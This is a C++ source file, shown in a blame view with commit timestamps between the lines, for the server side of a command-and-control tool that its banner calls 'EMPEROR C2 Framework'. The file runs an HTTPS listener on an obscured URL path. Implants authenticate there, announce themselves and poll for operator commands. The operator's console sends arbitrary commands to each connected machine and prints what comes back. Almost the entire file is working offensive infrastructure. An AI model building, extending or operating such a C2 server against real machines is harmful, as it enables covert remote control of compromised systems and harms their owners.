Emperor/EmperorServer.cpp

303 lines
7.7 KiB
C++
Raw Normal View History

2021-12-11 21:29:52 +01:00
#include <fstream>
2021-09-16 18:39:51 +02:00
#include <httpserver.hpp>
#include <iostream>
2021-12-11 14:42:12 +01:00
#include <map>
#include <regex>
2021-12-11 21:29:52 +01:00
#include <string>
#include <thread>
#include <vector>
2021-09-16 18:39:51 +02:00
2021-12-11 21:29:52 +01:00
// GLOBALS
2021-12-11 14:42:12 +01:00
bool bIncomingHey = false;
2021-12-11 21:29:52 +01:00
std::string sIncomingHeyUser;
2021-12-11 14:42:12 +01:00
bool bShutdown = false;
2021-09-16 18:39:51 +02:00
2021-12-11 14:42:12 +01:00
std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
2021-09-16 18:39:51 +02:00
{
2021-12-11 21:29:52 +01:00
std::vector<std::vector<std::string>> sCreds;
std::vector<std::string> sUsernames;
std::vector<std::string> sPasswords;
std::fstream fCreds;
fCreds.open("creds", std::ios::in);
char ch;
bool bUsername = true;
std::string sUsername = "";
std::string sPassword = "";
2021-12-11 14:42:12 +01:00
2021-12-11 21:39:36 +01:00
while (true)
{
2021-12-11 21:29:52 +01:00
fCreds >> ch;
2021-12-11 14:42:12 +01:00
2021-12-11 21:39:36 +01:00
if (fCreds.eof())
{
2021-12-11 21:29:52 +01:00
sPasswords.push_back(sPassword);
break;
}
2021-09-16 18:39:51 +02:00
2021-12-11 21:39:36 +01:00
if (ch == ':')
{
2021-12-11 21:29:52 +01:00
bUsername = false;
fCreds >> ch;
sUsernames.push_back(sUsername);
sUsername = "";
}
2021-09-16 18:39:51 +02:00
2021-12-11 21:39:36 +01:00
if (ch == '\n')
{
2021-12-11 21:29:52 +01:00
bUsername = true;
fCreds >> ch;
sPasswords.push_back(sPassword);
sPassword = "";
}
2021-09-16 18:39:51 +02:00
2021-12-11 21:39:36 +01:00
if (bUsername)
{
2021-12-11 21:29:52 +01:00
sUsername += ch;
}
2021-12-11 21:39:36 +01:00
else
{
2021-12-11 21:29:52 +01:00
sPassword += ch;
}
}
sCreds.push_back(sUsernames);
sCreds.push_back(sPasswords);
return sCreds;
2021-12-11 14:42:12 +01:00
}
2021-09-16 18:39:51 +02:00
2021-12-11 14:42:12 +01:00
std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");
2021-12-11 21:29:52 +01:00
std::map<std::string, bool> defaultUserConnections(std::vector<std::vector<std::string>> sCreds)
2021-12-11 14:42:12 +01:00
{
2021-12-11 21:29:52 +01:00
std::map<std::string, bool> mConnections;
2021-12-11 21:39:36 +01:00
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
2021-12-11 21:29:52 +01:00
mConnections[sCreds[0][iUsernameIndex]] = false;
}
return mConnections;
2021-12-11 14:42:12 +01:00
}
2021-12-11 21:29:52 +01:00
std::map<std::string, std::string> defaultUserComms(std::vector<std::vector<std::string>> sCreds)
2021-12-11 14:42:12 +01:00
{
2021-12-11 21:29:52 +01:00
std::map<std::string, std::string> mComms;
2021-12-11 21:39:36 +01:00
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
2021-12-11 21:29:52 +01:00
mComms[sCreds[0][iUsernameIndex]] = "";
}
return mComms;
2021-12-11 14:42:12 +01:00
}
2021-12-11 21:29:52 +01:00
std::map<std::string, std::string> mCommands = defaultUserComms(sCreds);
2021-12-11 14:42:12 +01:00
2021-12-11 21:29:52 +01:00
std::map<std::string, std::string> mResults = defaultUserComms(sCreds);
2021-12-11 14:42:12 +01:00
2021-12-11 21:29:52 +01:00
std::string listUserConnections(std::map<std::string, bool> mConnections)
2021-12-11 14:42:12 +01:00
{
2021-12-11 21:29:52 +01:00
std::ostringstream oss;
2021-12-11 21:39:36 +01:00
for (auto const &[key, val] : mConnections)
{
if (val == true)
{
2021-12-11 21:29:52 +01:00
oss << key << " is active.\n";
}
}
std::string sConnections = oss.str();
return sConnections;
2021-12-11 14:42:12 +01:00
}
2021-12-11 21:29:52 +01:00
std::map<std::string, bool> mConnections = defaultUserConnections(sCreds);
2021-09-16 18:39:51 +02:00
2021-12-11 21:39:36 +01:00
class command_and_control : public httpserver::http_resource
{
2021-12-11 21:29:52 +01:00
public:
bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
{
2021-12-11 21:39:36 +01:00
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
if (sCreds[0][iUsernameIndex] == sUsername)
{
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)
{
if (sCreds[1][iPasswordIndex] == sPassword)
{
2021-12-11 21:29:52 +01:00
return true;
}
}
}
}
return false;
}
2021-09-16 18:39:51 +02:00
2021-12-11 21:29:52 +01:00
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req)
{
2021-12-11 21:39:36 +01:00
if (verifycreds(sCreds, req.get_user(), req.get_pass()))
{
if (req.get_method() == "POST")
{
if (req.get_arg("msg") == "ready")
{
2021-12-11 21:29:52 +01:00
std::ostringstream oss;
oss << "user=" << req.get_user() << "&msg=acknowledged";
std::string sResponse = oss.str();
bIncomingHey = true;
sIncomingHeyUser = req.get_user();
mConnections[req.get_user()] = true;
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
}
2021-12-11 21:39:36 +01:00
if (req.get_arg("msg") == "reqcmd")
{
if (mCommands[req.get_user()] != "")
{
2021-12-11 21:29:52 +01:00
std::ostringstream oss;
oss << "run=" << mCommands[req.get_user()];
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
}
2021-12-11 21:39:36 +01:00
else
{
2021-12-11 21:29:52 +01:00
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
}
}
2021-12-11 21:39:36 +01:00
if (req.get_arg("result") != "")
{
2021-12-11 21:29:52 +01:00
mCommands[req.get_user()] = "";
mResults[req.get_user()] = req.get_arg("result");
std::ostringstream oss;
oss << "user=" << req.get_user() << "&msg=acknowledged";
std::string sResponse = oss.str();
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
}
}
}
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
}
2021-09-16 18:39:51 +02:00
};
2021-12-11 14:42:12 +01:00
void checkConnections()
2021-09-16 18:39:51 +02:00
{
2021-12-11 21:39:36 +01:00
while (!bShutdown)
{
if (bIncomingHey)
{
2021-12-11 21:29:52 +01:00
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
bIncomingHey = false;
sIncomingHeyUser = "";
}
}
2021-12-11 14:42:12 +01:00
}
void interactConnection(std::string sIdentifier)
{
2021-12-11 21:29:52 +01:00
std::string sCommand;
std::cout << "Starting interaction with " << sIdentifier << std::endl;
2021-12-11 21:39:36 +01:00
while (true)
{
2021-12-11 21:29:52 +01:00
std::cout << "[EMPEROR - " << sIdentifier << "]>";
std::getline(std::cin, sCommand);
2021-12-11 14:42:12 +01:00
2021-12-11 21:39:36 +01:00
if (sCommand == ":q")
{
2021-12-11 21:29:52 +01:00
break;
}
mCommands[sIdentifier] = sCommand;
std::cout << "Command sent, awaiting response..." << std::endl;
2021-12-11 21:39:36 +01:00
while (mResults[sIdentifier].empty())
{
2021-12-11 21:29:52 +01:00
continue;
}
std::cout << "Result: " << mResults[sIdentifier] << std::endl;
mResults[sIdentifier] = "";
}
2021-09-16 18:39:51 +02:00
}
void prompt()
{
2021-12-11 21:29:52 +01:00
std::cout << "========== EMPEROR C2 Framework==========" << std::endl;
std::cout << R"( _____
2021-09-16 18:39:51 +02:00
,888888b.
.d888888888b
_..-'.`*'_,88888b
,'..-..`"ad88888888b.
``-. `*Y888888b.
\ `Y888888b.
: Y8888888b.
: Y88888888b.
| _,8ad88888888.
: .d88888888888888b.
\d888888888888888888
8888;'''`88888888888
888' Y8888888888
`Y8 :8888888888
|` '8888888888
| 8888888888
| 8888888888
| 8888888888
| ,888888888P
: ;888888888'
\ d88888888'
_.>, 888888P'
<,--''`.._>8888(
2021-12-11 21:29:52 +01:00
`>__...--' `''` )"
<< std::endl;
std::cout << "=========================================" << std::endl;
std::string sCommand;
2021-12-11 21:39:36 +01:00
while (true)
{
2021-12-11 21:29:52 +01:00
std::cout << "[EMPEROR]>";
std::getline(std::cin, sCommand);
std::regex rConnect("connect ");
2021-09-16 18:39:51 +02:00
2021-12-11 21:39:36 +01:00
if (sCommand == "connections")
{
2021-12-11 21:29:52 +01:00
std::cout << listUserConnections(mConnections);
}
2021-12-11 14:42:12 +01:00
2021-12-11 21:39:36 +01:00
if (std::regex_search(sCommand, rConnect))
{
2021-12-11 21:29:52 +01:00
std::vector<std::string> sCommands;
std::string sSplit;
2021-12-11 21:39:36 +01:00
for (int i = 0; i < sCommand.length(); i++)
{
if (sCommand[i] == ' ')
{
2021-12-11 21:29:52 +01:00
sCommands.push_back(sSplit);
2021-12-11 21:39:36 +01:00
if (sCommands.size() > 2)
{
2021-12-11 21:29:52 +01:00
break;
}
sSplit = "";
}
2021-12-11 21:39:36 +01:00
else
{
2021-12-11 21:29:52 +01:00
sSplit.push_back(sCommand[i]);
2021-12-11 21:39:36 +01:00
if (i == (sCommand.length() - 1))
{
2021-12-11 21:29:52 +01:00
sCommands.push_back(sSplit);
}
}
}
2021-12-11 21:39:36 +01:00
if (mConnections[sCommands[1]])
{
2021-12-11 21:29:52 +01:00
interactConnection(sCommands[1]);
}
}
2021-09-16 18:39:51 +02:00
2021-12-11 21:39:36 +01:00
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")
{
2021-12-11 21:29:52 +01:00
bShutdown = true;
break;
}
}
2021-09-16 18:39:51 +02:00
}
2021-12-11 21:29:52 +01:00
int main(int argc, char **argv)
2021-09-16 18:39:51 +02:00
{
2021-12-11 21:29:52 +01:00
command_and_control c2;
httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt");
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
ws.start(false);
std::thread tCheck(checkConnections);
prompt();
tCheck.join();
return 0;
2021-09-16 18:39:51 +02:00
}